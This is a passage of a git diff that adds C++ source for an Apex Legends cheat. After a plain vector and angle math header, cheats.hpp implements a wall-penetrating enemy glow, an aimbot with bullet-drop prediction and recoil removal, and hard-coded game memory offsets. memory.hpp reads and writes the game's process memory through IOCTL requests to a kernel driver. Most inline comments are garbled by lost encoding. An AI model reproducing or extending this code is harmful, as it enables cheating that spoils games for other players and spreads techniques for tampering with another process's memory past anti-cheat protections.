Vector2DLerp(const Vector2D& src1, const Vector2D& src2, float t, Vector2D& dest); + +//----------------------------------------------------------------------------- +// +// Inlined Vector2D methods +// +//----------------------------------------------------------------------------- + +//----------------------------------------------------------------------------- +// constructors +//----------------------------------------------------------------------------- + +inline Vector2D::Vector2D(void) +{ +#ifdef _DEBUG + // Initialize to NAN to catch errors + //x = y = float_NAN; +#endif +} + +inline Vector2D::Vector2D(float X, float Y) +{ + x = X; y = Y; + Assert(IsValid()); +} + +inline Vector2D::Vector2D(const float* pFloat) +{ + Assert(pFloat); + x = pFloat[0]; y = pFloat[1]; + Assert(IsValid()); +} + +//----------------------------------------------------------------------------- +// copy constructor +//----------------------------------------------------------------------------- + +inline Vector2D::Vector2D(const Vector2D& vOther) +{ + Assert(vOther.IsValid()); + x = vOther.x; y = vOther.y; +} + +//----------------------------------------------------------------------------- +// initialization +//----------------------------------------------------------------------------- + +inline void Vector2D::Init(float ix, float iy) +{ + x = ix; y = iy; + Assert(IsValid()); +} + +inline void Vector2D::Random(float minVal, float maxVal) +{ + x = minVal + ((float)rand() / VALVE_RAND_MAX) * (maxVal - minVal); + y = minVal + ((float)rand() / VALVE_RAND_MAX) * (maxVal - minVal); +} + +inline void Vector2DClear(Vector2D& a) +{ + a.x = a.y = 0.0f; +} + +//----------------------------------------------------------------------------- +// assignment +//----------------------------------------------------------------------------- + +inline Vector2D& Vector2D::operator=(const Vector2D& vOther) +{ + Assert(vOther.IsValid()); + x = vOther.x; y = vOther.y; + return *this; +} + +//----------------------------------------------------------------------------- +// Array access +//----------------------------------------------------------------------------- + +inline float& Vector2D::operator[](int i) +{ + Assert((i >= 0) && (i < 2)); + return ((float*)this)[i]; +} + +inline float Vector2D::operator[](int i) const +{ + Assert((i >= 0) && (i < 2)); + return ((float*)this)[i]; +} + +//----------------------------------------------------------------------------- +// Base address... +//----------------------------------------------------------------------------- + +inline float* Vector2D::Base() +{ + return (float*)this; +} + +inline float const* Vector2D::Base() const +{ + return (float const*)this; +} + +//----------------------------------------------------------------------------- +// IsValid? +//----------------------------------------------------------------------------- + +inline bool Vector2D::IsValid() const +{ + return IsFinite(x) && IsFinite(y); +} + +//----------------------------------------------------------------------------- +// comparison +//----------------------------------------------------------------------------- + +inline bool Vector2D::operator==(const Vector2D& src) const +{ + Assert(src.IsValid() && IsValid()); + return (src.x == x) && (src.y == y); +} + +inline bool Vector2D::operator!=(const Vector2D& src) const +{ + Assert(src.IsValid() && IsValid()); + return (src.x != x) || (src.y != y); +} + +//----------------------------------------------------------------------------- +// Copy +//----------------------------------------------------------------------------- + +inline void Vector2DCopy(const Vector2D& src, Vector2D& dst) +{ + Assert(src.IsValid()); + dst.x = src.x; + dst.y = src.y; +} + +inline void Vector2D::CopyToArray(float* rgfl) const +{ + Assert(IsValid()); + Assert(rgfl); + rgfl[0] = x; rgfl[1] = y; +} + +//----------------------------------------------------------------------------- +// standard math operations +//----------------------------------------------------------------------------- + +inline void Vector2D::Negate() +{ + Assert(IsValid()); + x = -x; y = -y; +} + +inline Vector2D& Vector2D::operator+=(const Vector2D& v) +{ + Assert(IsValid() && v.IsValid()); + x += v.x; y += v.y; + return *this; +} + +inline Vector2D& Vector2D::operator-=(const Vector2D& v) +{ + Assert(IsValid() && v.IsValid()); + x -= v.x; y -= v.y; + return *this; +} + +inline Vector2D& Vector2D::operator*=(float fl) +{ + x *= fl; + y *= fl; + Assert(IsValid()); + return *this; +} + +inline Vector2D& Vector2D::operator*=(const Vector2D& v) +{ + x *= v.x; + y *= v.y; + Assert(IsValid()); + return *this; +} + +inline Vector2D& Vector2D::operator/=(float fl) +{ + Assert(fl != 0.0f); + float oofl = 1.0f / fl; + x *= oofl; + y *= oofl; + Assert(IsValid()); + return *this; +} + +inline Vector2D& Vector2D::operator/=(const Vector2D& v) +{ + Assert(v.x != 0.0f && v.y != 0.0f); + x /= v.x; + y /= v.y; + Assert(IsValid()); + return *this; +} + +inline void Vector2DAdd(const Vector2D& a, const Vector2D& b, Vector2D& c) +{ + Assert(a.IsValid() && b.IsValid()); + c.x = a.x + b.x; + c.y = a.y + b.y; +} + +inline void Vector2DSubtract(const Vector2D& a, const Vector2D& b, Vector2D& c) +{ + Assert(a.IsValid() && b.IsValid()); + c.x = a.x - b.x; + c.y = a.y - b.y; +} + +inline void Vector2DMultiply(const Vector2D& a, float b, Vector2D& c) +{ + Assert(a.IsValid() && IsFinite(b)); + c.x = a.x * b; + c.y = a.y * b; +} + +inline void Vector2DMultiply(const Vector2D& a, const Vector2D& b, Vector2D& c) +{ + Assert(a.IsValid() && b.IsValid()); + c.x = a.x * b.x; + c.y = a.y * b.y; +} + +inline void Vector2DDivide(const Vector2D& a, float b, Vector2D& c) +{ + Assert(a.IsValid()); + Assert(b != 0.0f); + float oob = 1.0f / b; + c.x = a.x * oob; + c.y = a.y * oob; +} + +inline void Vector2DDivide(const Vector2D& a, const Vector2D& b, Vector2D& c) +{ + Assert(a.IsValid()); + Assert((b.x != 0.0f) && (b.y != 0.0f)); + c.x = a.x / b.x; + c.y = a.y / b.y; +} + +inline void Vector2DMA(const Vector2D& start, float s, const Vector2D& dir, Vector2D& result) +{ + Assert(start.IsValid() && IsFinite(s) && dir.IsValid()); + result.x = start.x + s * dir.x; + result.y = start.y + s * dir.y; +} + +// FIXME: Remove +// For backwards compatability +inline void Vector2D::MulAdd(const Vector2D& a, const Vector2D& b, float scalar) +{ + x = a.x + b.x * scalar; + y = a.y + b.y * scalar; +} + +inline void Vector2DLerp(const Vector2D& src1, const Vector2D& src2, float t, Vector2D& dest) +{ + dest[0] = src1[0] + (src2[0] - src1[0]) * t; + dest[1] = src1[1] + (src2[1] - src1[1]) * t; +} + +//----------------------------------------------------------------------------- +// dot, cross +//----------------------------------------------------------------------------- +inline float DotProduct2D(const Vector2D& a, const Vector2D& b) +{ + Assert(a.IsValid() && b.IsValid()); + return(a.x * b.x + a.y * b.y); +} + +// for backwards compatability +inline float Vector2D::Dot(const Vector2D& vOther) const +{ + return DotProduct2D(*this, vOther); +} + +//----------------------------------------------------------------------------- +// length +//----------------------------------------------------------------------------- +inline float Vector2DLength(const Vector2D& v) +{ + Assert(v.IsValid()); + return (float)FastSqrt(v.x * v.x + v.y * v.y); +} + +inline float Vector2D::LengthSqr(void) const +{ + Assert(IsValid()); + return (x * x + y * y); +} + +inline float Vector2D::NormalizeInPlace() +{ + return Vector2DNormalize(*this); +} + +inline bool Vector2D::IsLengthGreaterThan(float val) const +{ + return LengthSqr() > val* val; +} + +inline bool Vector2D::IsLengthLessThan(float val) const +{ + return LengthSqr() < val * val; +} + +inline float Vector2D::Length(void) const +{ + return Vector2DLength(*this); +} + +inline void Vector2DMin(const Vector2D& a, const Vector2D& b, Vector2D& result) +{ + result.x = (a.x < b.x) ? a.x : b.x; + result.y = (a.y < b.y) ? a.y : b.y; +} + +inline void Vector2DMax(const Vector2D& a, const Vector2D& b, Vector2D& result) +{ + result.x = (a.x > b.x) ? a.x : b.x; + result.y = (a.y > b.y) ? a.y : b.y; +} + +//----------------------------------------------------------------------------- +// Normalization +//----------------------------------------------------------------------------- +inline float Vector2DNormalize(Vector2D& v) +{ + Assert(v.IsValid()); + float l = v.Length(); + if (l != 0.0f) + { + v /= l; + } + else + { + v.x = v.y = 0.0f; + } + return l; +} + +//----------------------------------------------------------------------------- +// Get the distance from this Vector2D to the other one +//----------------------------------------------------------------------------- +inline float Vector2D::DistTo(const Vector2D& vOther) const +{ + Vector2D delta; + Vector2DSubtract(*this, vOther, delta); + return delta.Length(); +} + +inline float Vector2D::DistToSqr(const Vector2D& vOther) const +{ + Vector2D delta; + Vector2DSubtract(*this, vOther, delta); + return delta.LengthSqr(); +} + +//----------------------------------------------------------------------------- +// Computes the closest point to vecTarget no farther than flMaxDist from vecStart +//----------------------------------------------------------------------------- +inline void ComputeClosestPoint2D(const Vector2D& vecStart, float flMaxDist, const Vector2D& vecTarget, Vector2D* pResult) +{ + Vector2D vecDelta; + Vector2DSubtract(vecTarget, vecStart, vecDelta); + float flDistSqr = vecDelta.LengthSqr(); + if (flDistSqr <= flMaxDist * flMaxDist) + { + *pResult = vecTarget; + } + else + { + vecDelta /= FastSqrt(flDistSqr); + Vector2DMA(vecStart, flMaxDist, vecDelta, *pResult); + } +} + +//----------------------------------------------------------------------------- +// +// Slow methods +// +//----------------------------------------------------------------------------- + +#ifndef VECTOR_NO_SLOW_OPERATIONS +#endif +//----------------------------------------------------------------------------- +// Returns a Vector2D with the min or max in X, Y, and Z. +//----------------------------------------------------------------------------- + +inline Vector2D Vector2D::Min(const Vector2D& vOther) const +{ + return Vector2D(x < vOther.x ? x : vOther.x, + y < vOther.y ? y : vOther.y); +} + +inline Vector2D Vector2D::Max(const Vector2D& vOther) const +{ + return Vector2D(x > vOther.x ? x : vOther.x, + y > vOther.y ? y : vOther.y); +} + +//----------------------------------------------------------------------------- +// arithmetic operations +//----------------------------------------------------------------------------- + +inline Vector2D Vector2D::operator-(void) const +{ + return Vector2D(-x, -y); +} + +inline Vector2D Vector2D::operator+(const Vector2D& v) const +{ + Vector2D res; + Vector2DAdd(*this, v, res); + return res; +} + +inline Vector2D Vector2D::operator-(const Vector2D& v) const +{ + Vector2D res; + Vector2DSubtract(*this, v, res); + return res; +} + +inline Vector2D Vector2D::operator*(float fl) const +{ + Vector2D res; + Vector2DMultiply(*this, fl, res); + return res; +} + +inline Vector2D Vector2D::operator*(const Vector2D& v) const +{ + Vector2D res; + Vector2DMultiply(*this, v, res); + return res; +} + +inline Vector2D Vector2D::operator/(float fl) const +{ + Vector2D res; + Vector2DDivide(*this, fl, res); + return res; +} + +inline Vector2D Vector2D::operator/(const Vector2D& v) const +{ + Vector2D res; + Vector2DDivide(*this, v, res); + return res; +} + +inline Vector2D operator*(float fl, const Vector2D& v) +{ + return v * fl; +} + +class QAngleByValue; +class QAngle +{ +public: + // Members + float x, y, z; + + // Construction/destruction + QAngle(void); + QAngle(float X, float Y, float Z); + // QAngle(RadianEuler const &angles); // evil auto type promotion!!! + + // Allow pass-by-value + operator QAngleByValue& () { return *((QAngleByValue*)(this)); } + operator const QAngleByValue& () const { return *((const QAngleByValue*)(this)); } + + // Initialization + void Init(float ix = 0.0f, float iy = 0.0f, float iz = 0.0f); + void Random(float minVal, float maxVal); + + // Got any nasty NAN's? + bool IsValid() const; + void Invalidate(); + + // array access... + float operator[](int i) const; + float& operator[](int i); + + // Base address... + float* Base(); + float const* Base() const; + + // equality + bool operator==(const QAngle& v) const; + bool operator!=(const QAngle& v) const; + + bool IsZero(float tolerance = 0.01f) const + { + return (x > -tolerance && x < tolerance && + y > -tolerance && y < tolerance && + z > -tolerance && z < tolerance); + } + + // arithmetic operations + QAngle& operator+=(const QAngle& v); + QAngle& operator-=(const QAngle& v); + QAngle& operator*=(float s); + QAngle& operator/=(float s); + + // Get the vector's magnitude. + float Length() const; + float LengthSqr() const; + + // negate the QAngle components + //void Negate(); + + // No assignment operators either... + QAngle& operator=(const QAngle& src); + +#ifndef VECTOR_NO_SLOW_OPERATIONS + // copy constructors + + // arithmetic operations + QAngle operator-(void) const; + + QAngle operator+(const QAngle& v) const; + QAngle operator-(const QAngle& v) const; + QAngle operator*(float fl) const; + QAngle operator/(float fl) const; +#else + +private: + // No copy constructors allowed if we're in optimal mode + QAngle(const QAngle& vOther); + +#endif +}; + +//----------------------------------------------------------------------------- +// constructors +//----------------------------------------------------------------------------- +inline QAngle::QAngle(void) +{ +#ifdef _DEBUG +#ifdef VECTOR_PARANOIA + // Initialize to NAN to catch errors + x = y = z = VEC_T_NAN; +#endif +#endif +} + +inline QAngle::QAngle(float X, float Y, float Z) +{ + x = X; y = Y; z = Z; +} + +//----------------------------------------------------------------------------- +// initialization +//----------------------------------------------------------------------------- +inline void QAngle::Init(float ix, float iy, float iz) +{ + x = ix; y = iy; z = iz; +} + +inline void QAngle::Random(float minVal, float maxVal) +{ + x = minVal + ((float)rand() / RAND_MAX) * (maxVal - minVal); + y = minVal + ((float)rand() / RAND_MAX) * (maxVal - minVal); + z = minVal + ((float)rand() / RAND_MAX) * (maxVal - minVal); +} + +//----------------------------------------------------------------------------- +// assignment +//----------------------------------------------------------------------------- +inline QAngle& QAngle::operator=(const QAngle& vOther) +{ + x = vOther.x; y = vOther.y; z = vOther.z; + return *this; +} + +//----------------------------------------------------------------------------- +// comparison +//----------------------------------------------------------------------------- +inline bool QAngle::operator==(const QAngle& src) const +{ + return (src.x == x) && (src.y == y) && (src.z == z); +} + +inline bool QAngle::operator!=(const QAngle& src) const +{ + return (src.x != x) || (src.y != y) || (src.z != z); +} + +//----------------------------------------------------------------------------- +// standard math operations +//----------------------------------------------------------------------------- +inline QAngle& QAngle::operator+=(const QAngle& v) +{ + x += v.x; y += v.y; z += v.z; + return *this; +} + +inline QAngle& QAngle::operator-=(const QAngle& v) +{ + x -= v.x; y -= v.y; z -= v.z; + return *this; +} + +inline QAngle& QAngle::operator*=(float fl) +{ + x *= fl; + y *= fl; + z *= fl; + + return *this; +} + +inline QAngle& QAngle::operator/=(float fl) +{ + Assert(fl != 0.0f); + float oofl = 1.0f / fl; + x *= oofl; + y *= oofl; + z *= oofl; + + return *this; +} + +//----------------------------------------------------------------------------- +// Base address... +//----------------------------------------------------------------------------- +inline float* QAngle::Base() +{ + return (float*)this; +} + +inline float const* QAngle::Base() const +{ + return (float const*)this; +} + +//----------------------------------------------------------------------------- +// Array access +//----------------------------------------------------------------------------- +inline float& QAngle::operator[](int i) +{ + Assert((i >= 0) && (i < 3)); + return ((float*)this)[i]; +} + +inline float QAngle::operator[](int i) const +{ + Assert((i >= 0) && (i < 3)); + return ((float*)this)[i]; +} + +//----------------------------------------------------------------------------- +// length +//----------------------------------------------------------------------------- +inline float QAngle::Length() const +{ + return (float)FastSqrt(LengthSqr()); +} + +inline float QAngle::LengthSqr() const +{ + return x * x + y * y + z * z; +} + +//----------------------------------------------------------------------------- +// arithmetic operations (SLOW!!) +//----------------------------------------------------------------------------- +#ifndef VECTOR_NO_SLOW_OPERATIONS + +inline QAngle QAngle::operator-(void) const +{ + return QAngle(-x, -y, -z); +} + +inline QAngle QAngle::operator+(const QAngle& v) const +{ + QAngle res; + res.x = x + v.x; + res.y = y + v.y; + res.z = z + v.z; + return res; +} + +inline QAngle QAngle::operator-(const QAngle& v) const +{ + QAngle res; + res.x = x - v.x; + res.y = y - v.y; + res.z = z - v.z; + return res; +} + +inline QAngle QAngle::operator*(float fl) const +{ + QAngle res; + res.x = x * fl; + res.y = y * fl; + res.z = z * fl; + return res; +} + +inline QAngle QAngle::operator/(float fl) const +{ + QAngle res; + res.x = x / fl; + res.y = y / fl; + res.z = z / fl; + return res; +} + +inline QAngle operator*(float fl, const QAngle& v) +{ + return v * fl; +} + +#endif // VECTOR_NO_SLOW_OPERATIONS + +//QANGLE SUBTRAC +inline void QAngleSubtract(const QAngle& a, const QAngle& b, QAngle& c) +{ + c.x = a.x - b.x; + c.y = a.y - b.y; + c.z = a.z - b.z; +} + +//QANGLEADD +inline void QAngleAdd(const QAngle& a, const QAngle& b, QAngle& c) +{ + c.x = a.x + b.x; + c.y = a.y + b.y; + c.z = a.z + b.z; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\350\207\252\347\236\204\344\270\215\347\250\263\345\276\205\344\277\256\346\224\271]/cheats.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\350\207\252\347\236\204\344\270\215\347\250\263\345\276\205\344\277\256\346\224\271]/cheats.hpp" new file mode 100644 index 0000000..dac871b --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\350\207\252\347\236\204\344\270\215\347\250\263\345\276\205\344\277\256\346\224\271]/cheats.hpp" @@ -0,0 +1,486 @@ +#pragma once +#pragma warning(disable : 4244) + +#include "memory.hpp" +#include "vectors.hpp" + +//ID +DWORD32 g_pid = 3132; + +//ַ̻ +DWORD64 g_base = 0x00007FF6B0BD0000; + +//߳ѭ +bool g_loop = true; + +int m_max = 8000; + +// +typedef struct Bone +{ + uint8_t pad1[0xCC]; + float x; + uint8_t pad2[0xC]; + float y; + uint8_t pad3[0xC]; + float z; +}Bone; + +// Ԥ +struct PredictCtx +{ + Vector StartPos; + Vector TargetPos; + Vector TargetVel; + float BulletSpeed; + float BulletGravity; + + Vector2D AimAngles; +}; + +// ʵ +class Entity +{ +private: + DWORD64 m_point; //ַ + DWORD32 m_pid; //ID + +public: + Entity(DWORD32 d, DWORD64 p) : m_point(p), m_pid(d) {} + ~Entity() {} + + //ȡλ + Vector get_position() + { + return read(m_pid, m_point + 0x14c); + } + + //Ƿ + bool is_dummy() + { + return read(m_pid, m_point + 0x430) == 97; + } + + //Ƿ + bool is_player() + { + return read(m_pid, m_point + 0x561) == 125780153691248; + } + + //Ƿ + bool is_alive() + { + return read(m_pid, m_point + 0x770) == 0; + } + + //ŶID + int get_team_id() + { + return read(m_pid, m_point + 0x430); + } + + //Ѫ + int get_health() + { + return read(m_pid, m_point + 0x420); + } + + //ȡǶ + Vector get_view_angle() + { + return read(m_pid, m_point + 0x24A0); + } + + //ýǶ + void set_view_angle(Vector v) + { + write(m_pid, m_point + 0x24A0, v); + } + + //ûԹ + void enable_glow() + { + write(m_pid, m_point + 0x262, 16256); + write(m_pid, m_point + 0x2c4, 1193322764); + write(m_pid, m_point + 0x350, 7); + write(m_pid, m_point + 0x360, 2); + } + + //ûԹ + void disable_glow() + { + write(m_pid, m_point + 0x262, 0); + write(m_pid, m_point + 0x2c4, 0); + write(m_pid, m_point + 0x350, 2); + write(m_pid, m_point + 0x360, 5); + } + + //ȡλ + Vector get_bone_position(int id) + { + Vector position = get_position(); + uintptr_t boneArray = read(m_pid, m_point + 0xF18); + + uint32_t boneloc = (id * 0x30); + Bone bo = read(m_pid, boneArray + boneloc); + + Vector bone{}; + bone.x = bo.x + position.x; + bone.y = bo.y + position.y; + bone.z = bo.z + position.z; + return bone; + } + + //ȡǶ + Vector get_cam_pos() + { + return read(m_pid, m_point + 0x1E6C); + } + + //ȡٶ + Vector get_abs_velocity() + { + return read(m_pid, m_point + 0x140); + } + + //ȡ + void get_weapon_data(float& speed, float& scale) + { + //ȡ + uint64_t entitylist = g_base + 0x18ad3a8; + uint64_t wephandle = read(m_pid, m_point + 0x1A0c) & 0xffff; + if (wephandle) + { + uint64_t wep_entity = read(m_pid, entitylist + (wephandle << 5)); + if (wep_entity) + { + speed = read(m_pid, wep_entity + 0x1E0C); + scale = read(m_pid, wep_entity + 0x1E14); + } + } + } + + //ȡ + Vector get_recoil() + { + return read(m_pid, m_point + 0x23C8); + } + + // + Vector get_swap_angle() + { + return read(m_pid, m_point + 0x24A0 - 0x10); + } +}; + +//һ +void normalize_angles(Vector& angle) +{ + while (angle.x > 89.0f) + angle.x -= 180.f; + + while (angle.x < -89.0f) + angle.x += 180.f; + + while (angle.y > 180.f) + angle.y -= 360.f; + + while (angle.y < -180.f) + angle.y += 360.f; +} + +// ȡfov +double get_fov(const Vector& viewAngle, const Vector& aimAngle) +{ + Vector delta = aimAngle - viewAngle; + normalize_angles(delta); + + return sqrt(pow(delta.x, 2.0f) + pow(delta.y, 2.0f)); +} + +// Ƕ +Vector calc_angle(const Vector& src, const Vector& dst) +{ + Vector angle; + Vector delta = Vector((src.x - dst.x), (src.y - dst.y), (src.z - dst.z)); + + double hyp = sqrt(delta.x*delta.x + delta.y * delta.y); + + angle.x = atan(delta.z / hyp) * (180.0f / M_PI); + angle.y = atan(delta.y / delta.x) * (180.0f / M_PI); + angle.z = 0; + if (delta.x >= 0.0) angle.y += 180.0f; + + return angle; +} + +// Fov +double calculate_fov(Entity& from, Entity& target) +{ + Vector ViewAngles = from.get_view_angle(); + Vector LocalCamera = from.get_cam_pos(); + Vector EntityPosition = target.get_position(); + Vector Angle = calc_angle(LocalCamera, EntityPosition); + return get_fov(ViewAngles, Angle); +} + +// ȡǶ +void get_aimbot_angle(Vector self_location, Vector player_location, Vector& aim_angle) +{ + float x = self_location[0] - player_location[0]; + float y = self_location[1] - player_location[1]; + float z = self_location[2] - player_location[2]; + + const float pi = 3.1415f; + aim_angle[0] = (float)atan(z / sqrt(x * x + y * y)) / pi * 180.f; + aim_angle[1] = (float)atan(y / x); + + if (x >= 0.0f && y >= 0.0f) aim_angle[1] = aim_angle[1] / pi * 180.0f - 180.0f; + else if (x < 0.0f && y >= 0.0f) aim_angle[1] = aim_angle[1] / pi * 180.0f; + else if (x < 0.0f && y < 0.0f) aim_angle[1] = aim_angle[1] / pi * 180.0f; + else if (x >= 0.0f && y < 0.0f) aim_angle[1] = aim_angle[1] / pi * 180.f + 180.0f; +} + +// +bool optimal_pitch(const PredictCtx& Ctx, const Vector2D& Dir2D, float* OutPitch) +{ + float Vel = Ctx.BulletSpeed, Grav = Ctx.BulletGravity, DirX = Dir2D.x, DirY = Dir2D.y; + float Root = Vel * Vel * Vel * Vel - Grav * (Grav * DirX * DirX + 2.f * DirY * Vel * Vel); + if (Root >= 0.f) { *OutPitch = atanf((Vel * Vel - sqrt(Root)) / (Grav * DirX)); return true; } + return false; +} + +// +bool solve_trajectory(PredictCtx& Ctx, const Vector& ExtrPos, float* TravelTime) +{ + Vector Dir = ExtrPos - Ctx.StartPos; + Vector2D Dir2D = { sqrtf(Dir.x * Dir.x + Dir.y * Dir.y), Dir.z }; + + float CurPitch; + if (!optimal_pitch(Ctx, Dir2D, &CurPitch)) + { + return false; + } + + *TravelTime = Dir2D.x / (cosf(CurPitch) * Ctx.BulletSpeed); + Ctx.AimAngles.y = atan2f(Dir.y, Dir.x); + Ctx.AimAngles.x = CurPitch; + return true; +} + +// +Vector extrapolate_pos(const PredictCtx& Ctx, float Time) +{ + return Ctx.TargetPos + (Ctx.TargetVel * Time); +} + +// ӵԤ +bool bullet_predict(PredictCtx& Ctx) +{ + float MAX_TIME = 1.f, TIME_STEP = (1.f / 256.f); + for (float CurrentTime = 0.f; CurrentTime <= MAX_TIME; CurrentTime += TIME_STEP) + { + float TravelTime; + Vector ExtrPos = extrapolate_pos(Ctx, CurrentTime); + if (!solve_trajectory(Ctx, ExtrPos, &TravelTime)) + { + return false; + } + + if (TravelTime < CurrentTime) + { + Ctx.AimAngles = { -RAD2DEG(Ctx.AimAngles.x), RAD2DEG(Ctx.AimAngles.y) }; + return true; + } + } + return false; +} + +// õǶ +bool calculate_best_bone_aim(Entity& from, Entity& target, float& max_fov, Vector& v) +{ + // + Vector EntityPosition = target.get_position(); + Vector LocalPlayerPosition = from.get_position(); + float dist = LocalPlayerPosition.DistTo(EntityPosition); + + // λ + int bone = 2; + if (dist < 500) bone = 5; + + Vector LocalCamera = from.get_cam_pos(); + Vector TargetBonePosition = target.get_bone_position(bone); + Vector CalculatedAngles{ 0,0,0, }; + + //ȡ + float BulletSpeed = 0, BulletGrav = 0; + from.get_weapon_data(BulletSpeed, BulletGrav); + + //more accurate prediction + if (BulletSpeed > 1.f) + { + PredictCtx Ctx; + Ctx.StartPos = LocalCamera; + Ctx.TargetPos = TargetBonePosition; + Ctx.BulletSpeed = BulletSpeed - (BulletSpeed*0.08); + Ctx.BulletGravity = BulletGrav + (BulletGrav*0.05); + Ctx.TargetVel = target.get_abs_velocity(); + + //ӵԤ + if (bullet_predict(Ctx)) + CalculatedAngles = Vector{ Ctx.AimAngles.x, Ctx.AimAngles.y, 0.f }; + } + + if (CalculatedAngles == Vector(0, 0, 0)) + CalculatedAngles = calc_angle(LocalCamera, TargetBonePosition); + Vector ViewAngles = from.get_view_angle(); + Vector SwayAngles = from.get_swap_angle(); + + //remove sway and recoil + CalculatedAngles -= SwayAngles - ViewAngles; + + normalize_angles(CalculatedAngles); + Vector Delta = CalculatedAngles - ViewAngles; + double fov = get_fov(SwayAngles, CalculatedAngles); + if (fov > max_fov) return false; + else max_fov = fov; + + normalize_angles(Delta); + + v = ViewAngles + Delta / 1.0f; + return true; +} + +// ̹߳ر +void stop_thread() +{ + g_loop = false; +} + +//--------------------------------------------------------------------------------------------- + +/* ʼ */ +bool initialize() +{ + // 򿪾 + HANDLE hDriver = open_device(); + if (hDriver == INVALID_HANDLE_VALUE) return false; + + // ȡid + g_pid = get_process_id(L"r5apex.exe"); + if (g_pid == 0) return false; + + return true; +} + +/* Թ */ +void glow_players(bool state) +{ + // ȡԼַ + DWORD64 local_player_ptr = read(g_pid, g_base + 0x1c5bcc8); + if (local_player_ptr == 0) return; + Entity local_player(g_pid, local_player_ptr); + + // Լ + if (local_player.get_health() <= 0) return; + + // б + uint64_t entitylist = g_base + 0x18ad3a8; + + // + for (int i = 0; i < m_max; i++) + { + // ȡ + uint64_t centity = read(g_pid, entitylist + ((uint64_t)i << 5)); + if (centity == 0 || centity == local_player_ptr) continue; + + // ʵ + Entity e(g_pid, centity); + if ((e.is_dummy() || e.is_player()) && e.get_health() > 0 && local_player.get_team_id() != e.get_team_id()) + { + // ûԹ + if (state) e.enable_glow(); + else e.disable_glow(); + } + } +} +void _cdecl glow_thread(void*) +{ + while (g_loop) + { + glow_players(true); + + Sleep(30); + } + + glow_players(false); +} + +/* */ +void aim_players() +{ + // ȡԼַ + DWORD64 local_player_ptr = read(g_pid, g_base + 0x1c5bcc8); + if (local_player_ptr == 0) return; + Entity local_player(g_pid, local_player_ptr); + + // ״̬ + if (local_player.get_health() <= 0) return; + + // ȡԼλ + Vector LocalPlayerPosition = local_player.get_position(); + + // б + uint64_t entitylist = g_base + 0x18ad3a8; + + double min_fov = 30.0; + Vector v; + bool shot = false; + + // + for (int i = 0; i < m_max; i++) + { + // ȡ + uint64_t centity = read(g_pid, entitylist + ((uint64_t)i << 5)); + if (centity == 0 || centity == local_player_ptr) continue; + + // ʵ + Entity e(g_pid, centity); + if ((e.is_player() || e.is_dummy()) && e.get_health() > 0 && local_player.get_team_id() != e.get_team_id()) + { + // ȡ + float distance = LocalPlayerPosition.DistTo(e.get_position()); + if (distance > 2000.0f) continue; + + // fov + double f = calculate_fov(local_player, e); + if (f < min_fov) + { + min_fov = f; + shot = true; + + get_aimbot_angle(local_player.get_bone_position(8), e.get_bone_position(8), v); + } + } + } + + // + if (shot) + { + v -= local_player.get_recoil(); + local_player.set_view_angle(v); + } +} +void _cdecl aim_thread(void*) +{ + while (g_loop) + { + //bool state = (GetAsyncKeyState(VK_LBUTTON) & 0x8000) || (GetAsyncKeyState(VK_SHIFT) & 0x8000); + //bool state = (GetAsyncKeyState(VK_LBUTTON) & 0x8000) || (GetAsyncKeyState(VK_CONTROL) & 0x8000); + //bool state = GetAsyncKeyState(VK_LBUTTON) & 0x8000; + bool state = (GetAsyncKeyState(VK_LBUTTON) & 0x8000) || (GetAsyncKeyState(VK_XBUTTON2) & 0x8000) || (GetAsyncKeyState(VK_XBUTTON1) & 0x8000); + if (state) aim_players(); + + Sleep(5); + } +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\350\207\252\347\236\204\344\270\215\347\250\263\345\276\205\344\277\256\346\224\271]/memory.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\350\207\252\347\236\204\344\270\215\347\250\263\345\276\205\344\277\256\346\224\271]/memory.hpp" new file mode 100644 index 0000000..e637655 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\350\207\252\347\236\204\344\270\215\347\250\263\345\276\205\344\277\256\346\224\271]/memory.hpp" @@ -0,0 +1,185 @@ +#pragma once + +#pragma once + +#include +#include +#include +#include + +//ӷ +const wchar_t* symbols = L"\\\\.\\{ED2761FC-91F4-4E1E-A441-19117D9FAC59}"; + +//豸 +HANDLE g_device = INVALID_HANDLE_VALUE; + +//ȡṹ +struct KB_READ_PROCESS_MEMORY_IN +{ + UINT64 ProcessId; + PVOID BaseAddress; + PVOID Buffer; + ULONG Size; +}; + +//дṹ +struct KB_WRITE_PROCESS_MEMORY_IN +{ + UINT64 ProcessId; + PVOID BaseAddress; + PVOID Buffer; + ULONG Size; + BOOLEAN PerformCopyOnWrite; +}; + +/* IOCTL */ +BOOL SendIOCTL( + IN HANDLE hDevice, + IN DWORD Ioctl, + IN PVOID InputBuffer, + IN ULONG InputBufferSize, + IN PVOID OutputBuffer, + IN ULONG OutputBufferSize, + OPTIONAL OUT PDWORD BytesReturned = NULL, + OPTIONAL IN DWORD Method = 3) +{ + DWORD RawIoctl = CTL_CODE(0x8000, Ioctl, Method, FILE_ANY_ACCESS); + DWORD Returned = 0; + BOOL Status = DeviceIoControl(hDevice, RawIoctl, InputBuffer, InputBufferSize, OutputBuffer, OutputBufferSize, &Returned, NULL); + if (BytesReturned) *BytesReturned = Returned; + return Status; +} + +/* */ +BOOL KbSendRequest( + int Index, + IN PVOID Input = NULL, + ULONG InputSize = 0, + OUT PVOID Output = NULL, + ULONG OutputSize = 0) +{ + if (g_device) return SendIOCTL(g_device, 0x800 + Index, Input, InputSize, Output, OutputSize); + else MessageBoxA(0, 0, 0, 0); + return 0; +} + +/* дڴ */ +BOOL KbWriteProcessMemory( + ULONG ProcessId, + OUT PVOID BaseAddress, + IN PVOID Buffer, + ULONG Size, + BOOLEAN PerformCopyOnWrite = FALSE) +{ + if (!ProcessId || !BaseAddress || !Buffer || !Size) return FALSE; + KB_WRITE_PROCESS_MEMORY_IN Input = 